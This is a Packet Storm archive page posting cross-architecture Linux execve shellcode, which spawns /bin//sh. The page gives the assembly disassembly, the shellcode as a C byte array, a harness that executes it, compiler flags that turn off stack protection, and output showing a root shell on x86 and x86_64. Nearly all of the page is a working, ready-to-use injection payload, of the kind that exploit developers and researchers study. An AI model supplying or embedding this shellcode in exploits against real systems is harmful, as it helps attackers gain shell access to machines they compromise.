exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux x86/x86_64 execve Shellcode

Linux x86/x86_64 execve Shellcode
Posted Dec 4, 2015
Authored by B3mB4m

Linux execve shellcode that works on both x86 and x86_64.

tags | x86, shellcode
systems | linux
SHA-256 | 19e5351ae10bc3f73a21d580af1b7b1a47863f13ef4d0768fd36034f64810e00

Linux x86/x86_64 execve Shellcode

Change Mirror Download
#Cross-Linux execve shellcode [works on x86/x86_64]


#Coded by B3mB4m
#4.11.2015
#This shellcodes works on both x86 and x64(null-free) :>



Disassembly of section .text:

08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 40 inc %eax
8048063: 74 15 je 0x804807a
8048065: 31 c0 xor %eax,%eax
8048067: 50 push %eax
8048068: 68 2f 2f 73 68 push $0x68732f2f
804806d: 68 2f 62 69 6e push $0x6e69622f
8048072: 89 e3 mov %esp,%ebx
8048074: 89 c2 mov %eax,%edx
8048076: b0 0b mov $0xb,%al
8048078: cd 80 int $0x80
804807a: 48 dec %eax
804807b: 31 c0 xor %eax,%eax
804807d: 48 dec %eax
804807e: 83 c0 3b add $0x3b,%eax
8048081: 48 dec %eax
8048082: 31 ff xor %edi,%edi
8048084: 57 push %edi
8048085: 48 dec %eax
8048086: bf 2f 62 69 6e mov $0x6e69622f,%edi
804808b: 2f das
804808c: 2f das
804808d: 73 68 jae 0x80480f7
804808f: 57 push %edi
8048090: 48 dec %eax
8048091: 8d 3c 24 lea (%esp),%edi
8048094: 48 dec %eax
8048095: 31 f6 xor %esi,%esi
8048097: 48 dec %eax
8048098: 31 d2 xor %edx,%edx
804809a: 0f 05 syscall



#include <stdio.h>
#include <string.h>
#gcc -fno-stack-protector -z execstack shell.c -o shell

unsigned char shellcode[] = "\x31\xc0\x40\x74\x15\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();


}


x86
=====

root@b3mb4m:~/Desktop# uname -a
Linux b3mb4m 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
root@b3mb4m:~/Desktop# ./shell
Length: 60
#

x64
=====

root@whoami:/home/whoami/Desktop# uname -a
Linux whoami 3.19.0-33-generic #38~14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@whoami:/home/whoami/Desktop# ./shell
Length: 60
#


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close